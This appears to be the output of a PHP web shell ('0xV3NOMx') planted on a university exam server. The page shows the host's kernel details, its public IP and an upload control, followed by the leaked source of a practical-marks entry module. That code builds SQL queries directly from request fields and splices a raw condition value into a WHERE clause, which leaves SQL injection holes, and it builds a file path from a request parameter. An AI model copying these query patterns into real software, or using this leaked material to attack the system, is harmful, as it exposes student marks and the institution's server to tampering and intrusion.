0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.138.34.93


Current Path : /var/www/oasis/custom_src/
Upload File :
Current File : /var/www/oasis/custom_src/practical_marks_details.php

<?php
class practical_marks_details
 {
public $aobj_context;
public $college_name;	
public $town;	
public $address;	
public $Degree_name;	

	function __construct($aobj_context)
	{
		 require_once($aobj_context->main_src.'src/format.php');
		$this->aobj_context=$aobj_context;
		$this->collcode=$_SESSION['collcode'];		 
	}
	function GetPracticalMarksRegNos()
	{
		@session_start();
		$FUNIVCODE = $_SESSION['FUNIVCODE'];
		$College_Code = $_SESSION['collcode'];	
		$range = $this->aobj_context->mobj_data["range"];
		$type = $this->aobj_context->mobj_data["type"];
		$limit = $this->aobj_context->mobj_data["limit"];
		$Subcode = $this->aobj_context->mobj_data["Subcode"];
		$pract_max_marks = $this->aobj_context->mobj_data["pract_max_marks"];
		$viva_max_marks = $this->aobj_context->mobj_data["viva_max_marks"];
		$Degcode = $this->aobj_context->mobj_data["Degcode"];
		$batch_no = $this->aobj_context->mobj_data["batch_no"];
		$batch_no=str_pad($batch_no, 2, "0", STR_PAD_LEFT);  
		$viva_sub_code = $this->aobj_context->mobj_data["viva_sub_code"];
		$Examno = $this->aobj_context->mobj_data["Examno"];
		$valuataion = $this->aobj_context->mobj_data["valuataion"];
		$condition_name = trim($this->aobj_context->mobj_data["condition_name"]);
		$condition_val = stripcslashes($this->aobj_context->mobj_data["condition_val"]);
		$mycondition = ($condition_name=='like')?$condition_name." '%{$condition_val}%' ":$condition_name.$condition_val;
		



		$page_header_college ="select FUNIVADD1 as address,FUNIVNAME as college_name ,
								pdf_logo_path as pdf_logo_path,
								ifnull(fdegas,'Degree') as fdegas,
			ifnull(fcollas,'College') as fcollas,
			ifnull(fsubas,'Subject') as fsubas,
			ifnull(FREGROLL,'Reg. No.') as FREGROLL 
								from control ";
		$lobj_page_header_college = $this->aobj_context->mobj_db->GetRow($page_header_college);
		
		$this->fdegas = $lobj_page_header_college['fdegas'];
		$this->fcollas = $lobj_page_header_college['fcollas'];
		$this->fsubas = $lobj_page_header_college['fsubas'];
		$this->FREGROLL = $lobj_page_header_college['FREGROLL']; 

		$get_freezed="select count(*) as freeze_cnt from practical_entry_freeze
						where FCOLLCODE='{$College_Code}'
						and FDEGREE='{$Degcode}'
						and FEXAM='{$Examno}'
						and FCSUBCODE='{$Subcode}'
						and lpad(FBATCH,2,'0')='{$batch_no}'
						and FFREEZED='T'";
		$lobj_get_freezed = $this->aobj_context->mobj_db->GetRow($get_freezed);
		 
		if($lobj_get_freezed['freeze_cnt']>0)
		{
			$rdata='Mark Entry Subjectwise Freezed By Admin';
			echo $this->aobj_context->mobj_output->ToJSONEnvelope($rdata,-1,"Failure");
			return;	
		}

		$get_freezed="select * from practical_entry_freeze
						where FCOLLCODE='{$College_Code}'
						and FDEGREE='{$Degcode}'
						and FEXAM='{$Examno}'
						and FCSUBCODE='{$Subcode}'
						and lpad(FBATCH,2,'0')='{$batch_no}'";
		$lobj_get_freezed = $this->aobj_context->mobj_db->GetRow($get_freezed);
		$fexaminer1 = $lobj_get_freezed['fexaminer1']; 
		$fexaminer2 = $lobj_get_freezed['fexaminer2'];

		$qury = "select fteachcode, ifnull(FACCNO,'') as FACCNO,
		ifnull(FIFSCCODE,'') as FIFSCCODE
		From masteach where fteachcode = '{$fexaminer1}'";
		$res = $this->aobj_context->mobj_db->GetRow($qury);

		$qury = "select fteachcode, ifnull(FACCNO,'') as FACCNO,
		ifnull(FIFSCCODE,'') as FIFSCCODE
		From masteach where fteachcode = '{$fexaminer2}'";
		$res1 = $this->aobj_context->mobj_db->GetRow($qury);
		
		if($FUNIVCODE == '040')
		{
			if($res)
			{
				$FACCNO = $res['FACCNO'];
				$FIFSCCODE = $res['FIFSCCODE'];

				$FACCNO1 = $res1['FACCNO'];
				$FIFSCCODE1 = $res1['FIFSCCODE'];

				if($FACCNO == '' || $FIFSCCODE == '')
				{
					$rdata='Enter Practical Examiner 1 Bank Details';
					echo $this->aobj_context->mobj_output->ToJSONEnvelope($rdata,-1,"Failure");
					return;
				}

				if($FACCNO1 == '' || $FIFSCCODE1 == '')
				{
					$rdata='Enter Practical Examiner 2 Bank Details';
					echo $this->aobj_context->mobj_output->ToJSONEnvelope($rdata,-1,"Failure");
					return;
				}

			}else
			{
				$rdata='Select Practical Examiner';
				echo $this->aobj_context->mobj_output->ToJSONEnvelope($rdata,-1,"Failure");
				return;	
			}
		}


		$path = $this->aobj_context->main_src.'/'.$_REQUEST['db'].'/imported_files/';
		$path_name = "imported_files/prct_{$College_Code}_{$_SESSION['user_id']}.html";
		$filename = "{$path}prct_{$College_Code}_{$_SESSION['user_id']}.html";
		
		$get_records = "select stu.FREGNO, stu.FNAME, 
						IFNULL(mak.FMARKS11, '-1') as FMARKS, IFNULL(mak.FBATCH, '') AS FBATCH
						FROM student stu inner join marks_pr mak ON  stu.FREGNO=mak.FREGNO 
						and mak.Fdegree='{$Degcode}' and mak.Fexamno='{$Examno}' and mak.FCOLLCODE='{$College_Code}'
						inner join subject sub on sub.FCSUBCODE = mak.FSUBCODE 
						and sub.FCSUBCODE='{$Subcode}' and sub.FDEGREE='{$Degcode}' and sub.FEXAMNO='{$Examno}'
						WHERE stu.FREGNO != ''  and lpad(IFNULL(mak.FBATCH, ''),2,'0')='{$batch_no}' and stu.FREGNO {$mycondition} 
						and ifnull(stu.fdeleted,'') <> 'T'
						group by stu.FREGNO  order by stu.FREGNO limit   1000";					
		
		$lobj_get_records = $this->aobj_context->mobj_db->GetAll($get_records);
		// var_dump($get_records);die();
		$get_viva_records = "select stu.FREGNO, stu.FNAME, 
						IFNULL(mak.FMARKS11, '-1') as FMARKS, IFNULL(mak.FBATCH, '') AS FBATCH
						FROM student stu inner join marks_pr mak ON  stu.FREGNO=mak.FREGNO 
						and mak.Fdegree='{$Degcode}' and mak.Fexamno='{$Examno}' and mak.FCOLLCODE='{$College_Code}'
						inner join subject sub on sub.FCSUBCODE = mak.FSUBCODE 
						and sub.FCSUBCODE='{$viva_sub_code}' and sub.FDEGREE='{$Degcode}' and sub.FEXAMNO='{$Examno}'
						WHERE stu.FREGNO != ''  and lpad(IFNULL(mak.FBATCH, ''),2,'0')='{$batch_no}'
						and stu.FREGNO {$mycondition} 
						and ifnull(stu.fdeleted,'') <> 'T'
						group by stu.FREGNO  order by stu.FREGNO limit   300";					
		 
		$obj_get_viva_records = $this->aobj_context->mobj_db->GetAll($get_viva_records);
		 
		// var_dump($get_records, $lobj_get_records);

		$col_span=4;
		$viva_td_header="";
		$this->viva_details_arr=array();
		if(!empty($obj_get_viva_records))
		{
			$col_span=5;
			if($FUNIVCODE == '029' || $FUNIVCODE == '027' || $FUNIVCODE == '026' || $FUNIVCODE == '021' || $FUNIVCODE == '040')
				$viva_td_header=" <td  style='padding:2px; width:20px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Viva {$viva_sub_code}</center></td>";
			else
				$viva_td_header=" <td  style='padding:2px; width:20px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Record {$viva_sub_code}</center></td>";
			foreach($obj_get_viva_records as $k=>$v)
			{
				$this->viva_details_arr[$v['FREGNO']]=$v['FMARKS'];
			}
		}
		unlink($filename);  
		$fp = fopen($filename, 'w+');		
			
		$e_data.="<table  width='80%' cellspacing='0' class='tr_ventor_row' cellpadding='0' border='0' >";
		$e_data.="<th align='left' colspan='{$col_span}' class='ui-jqgrid-titlebar ui-widget-header ui-corner-tl ui-corner-tr ui-helper' style='font-size:12px; padding-left:6px; height:24px;'>Marks List</th>";			
		$e_data.="<tr class='ui-state-default ui-jqgrid-hdiv'>";	
		$e_data.="<td  style='padding:2px; width:60px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>".$this->FREGROLL."</center></td>";
		$e_data.="<td  style='padding:2px; width:140px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Student Name</center></td>";
		$e_data.="<td  style='padding:2px; width:20px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'><center>Practical {$Subcode}</center></td>";
		$e_data.=$viva_td_header;
		$e_data.="</tr>";

		 $k=1;
		 $border_bottom="";
		foreach($lobj_get_records as $key=>$value)
		{
			$FREGNO=$value['FREGNO'];
			$pract_marks=$value['FMARKS'];
			if($k==count($lobj_get_records))
			$border_bottom="border-bottom:1px solid #C5DBEC;";	
			 
			$e_data.="<tr class='ui-widget-content jqgrow'>";
			$e_data.="<td     align='center' style='{$border_bottom}; border-left:1px solid #C5DBEC;border-right:1px solid #C5DBEC; padding:2px;'> {$value[FREGNO]}  </td>";
			$e_data.="<td   align='left' style='{$border_bottom};border-right:1px solid #C5DBEC; padding:2px;' id='mes_std_name_{$value[FREGNO]}' >  {$value[FNAME]} </td>";
			$e_data.="<td    align='center' style='{$border_bottom};border-right:1px solid #C5DBEC;  padding:2px;'> <input  tabindex={$k} {$inp_class} name=marks type=text style='width:30px;{$border}' {$read_only} id='prmarks_{$Subcode}_{$value[FREGNO]}'   onblur=\" if(parseFloat(this.value)>{$pract_max_marks} && trim(this.value)!='') { this.value=''; alert('Marks should be less than {$pract_max_marks}'); this.focus(); }\" onkeypress='return acceptNumbersOnlyForModuleABMP(event);' maxlength=3   value='{$pract_marks}' > </td>";
			if(!empty($obj_get_viva_records))
			{
				$viva_marks=$this->viva_details_arr[$FREGNO];
				if($viva_marks == '')
				{
					$e_data.="<td   align='center' style='{$border_bottom};border-right:1px solid #C5DBEC;  padding:2px;'> <input   disabled {$inp_class} name=marks type=text style='width:30px;{$border}' {$read_only} id='prmarks_{$viva_sub_code}_{$value[FREGNO]}'  onblur=\" if(parseFloat(this.value)>{$viva_max_marks} && trim(this.value)!='') { this.value=''; alert('Marks should be less than {$viva_max_marks}'); this.focus(); }\"  onkeypress='return acceptNumbersOnlyForModuleABMP(event);' maxlength=3   value='{$viva_marks}' > </td>";
				}else
				{
					$e_data.="<td   align='center' style='{$border_bottom};border-right:1px solid #C5DBEC;  padding:2px;'> <input   {$inp_class} name=marks type=text style='width:30px;{$border}' {$read_only} id='prmarks_{$viva_sub_code}_{$value[FREGNO]}'  onblur=\" if(parseFloat(this.value)>{$viva_max_marks} && trim(this.value)!='') { this.value=''; alert('Marks should be less than {$viva_max_marks}'); this.focus(); }\"  onkeypress='return acceptNumbersOnlyForModuleABMP(event);' maxlength=3   value='{$viva_marks}' > </td>";
				}	
			}
			$e_data.="</tr>";
			$k++;
		}
		if(empty($lobj_get_records))
		{	
			$e_data.="<tr style='height: 20'>";
			$e_data.="<td COLSPAN=4 align = 'center'>No Records Found For this Search</td>";
			$e_data.="</tr>";
		}
			
		$e_data.="</table><br>";		
		fwrite($fp, $e_data);
		
		$arr['filenme']=$path_name;

		fclose($fp); 
		
		echo $this->aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); 
		return; 
	}
	function SavePracticalEntryMarks()
	{
		session_start();	
		include_once($this->aobj_context."/src/JSON.php"); 
		$json = new Services_JSON();
		
	 
		$College_Code = $_SESSION['collcode'];	
		$VivaSubcode = $this->aobj_context->mobj_data["VivaSubcode"];
		$Subcode = $this->aobj_context->mobj_data["Subcode"];
		$Degcode = $this->aobj_context->mobj_data["Degcode"];
		$Examno = $this->aobj_context->mobj_data["Examno"];
		$User_code = $_SESSION['usr']; 
		include("error_log.php");
		
		$lstr_param = stripslashes($this->aobj_context->mobj_data["pra_save_obj"]);
		$mobj_jsondata = $json->decode($lstr_param);
		$pra_save_obj_details = get_object_vars($mobj_jsondata);	
		
		$lstr_param = stripslashes($this->aobj_context->mobj_data["viva_save_obj"]);
		$mobj_jsondata = $json->decode($lstr_param);
		$viva_save_obj_details = get_object_vars($mobj_jsondata);	
		 
		$univcode = $_SESSION['FUNIVCODE'];
		$mob = $_SESSION['FMOBILE'];
		$usr = $_SESSION['usr'];
		$college_code = $_SESSION['collcode'];
		$enttype = "MEN";
		$User_code = $_SESSION['usr']; 
		

		
		 
			for( $i = 0; $i<count($pra_save_obj_details); $i++ )
			{
				if(strtoupper($pra_save_obj_details[$i]->marks) == "MP"){
					$marks = "-3";
				}else{
					$marks = $pra_save_obj_details[$i]->marks;
				}
				$qry = "select FMARKS11 from marks_pr where 
							fcollcode = '{$College_Code}'
							and fdegree = '{$Degcode}' 
							and fexamno = '{$Examno}'
							and fsubcode = '{$Subcode}'
							and fregno = '{$pra_save_obj_details[$i]->reg_no}'";
					$res = $this->aobj_context->mobj_db->getRow($qry);

					// var_dump($pra_save_obj_details[$i]);die();

				$update_record = " update marks_pr set FMARKS11='{$marks}' ,
										FLOGNAME = '{$User_code}', FLOGDATE = NOW()
										where FCOLLCODE = '{$College_Code}' and 
												FDEGREE = '{$Degcode}' and
												FEXAMNO = '{$Examno}' and
												FREGNO = '{$pra_save_obj_details[$i]->reg_no}' 
												and FSUBCODE = '{$Subcode}' ";
				//var_dump($update_record);								
				$lobj_insert_qry = $this->aobj_context->mobj_db->Execute($update_record);		 			

				$oldmarks =  $res['FMARKS11'];
				$remark = "MEN - PR Marks Entry - $Degcode, $Examno, $Subcode, $College_Code, ".$pra_save_obj_details[$i]->reg_no.", Old: $oldmarks, New: ".$pra_save_obj_details[$i]->marks;
				$res = error_logs($this->aobj_context,$univcode,$remark,$College_Code,$enttype,$usr,$mob);

			}
			if(!empty($viva_save_obj_details))
			{
				for( $i = 0; $i<count($viva_save_obj_details); $i++ )
				{
					if(strtoupper($viva_save_obj_details[$i]->marks) == "MP"){
						$marks = "-3";
					}else{
						$marks = $viva_save_obj_details[$i]->marks;
					}

					$qry = "select FMARKS11 from marks_pr where 
							fcollcode = '{$College_Code}'
							and fdegree = '{$Degcode}' 
							and fexamno = '{$Examno}'
							and fsubcode = '{$VivaSubcode}'
							and fregno = '{$viva_save_obj_details[$i]->reg_no}'";
					$res = $this->aobj_context->mobj_db->getRow($qry);


					$update_record = " update marks_pr set FMARKS11='{$marks}', 
											FLOGNAME = '{$User_code}', FLOGDATE = NOW()
											where FCOLLCODE = '{$College_Code}' and 
													FDEGREE = '{$Degcode}' and
													FEXAMNO = '{$Examno}' and
													FREGNO = '{$viva_save_obj_details[$i]->reg_no}' and
													FSUBCODE = '{$VivaSubcode}' ";
					$lobj_insert_qry = $this->aobj_context->mobj_db->Execute($update_record);	
				
					$oldmarks =  $res['FMARKS11'];
					$remark = "MEN - PR Marks Entry - $Degcode, $Examno, $VivaSubcode, $College_Code, ".$viva_save_obj_details[$i]->reg_no.", Old: $oldmarks, New: ".$viva_save_obj_details[$i]->marks;
					$res = error_logs($this->aobj_context,$univcode,$remark,$College_Code,$enttype,$usr,$mob);
							 
				}		 			
			}		
			 
			if(1)
			{
				$rdata = "Updated Successfully.";
				print_r($this->aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success"));
				return $rdata;
			 }
			else
			{
				$rdata = "No Updation / Add..!";
				print_r($this->aobj_context->mobj_output->ToJSONEnvelope($rdata,-1,"Failure"));  
				return $rdata;			
			}			
	}
}	
	

function GetPracticalMarksRegNos($aobj_context)
{
$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
$class_obj=new practical_marks_details($aobj_context);  
$class_obj->GetPracticalMarksRegNos(); 
}
function SavePracticalEntryMarks($aobj_context)
{
$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
$class_obj=new practical_marks_details($aobj_context);  
$class_obj->SavePracticalEntryMarks();
 
}
?>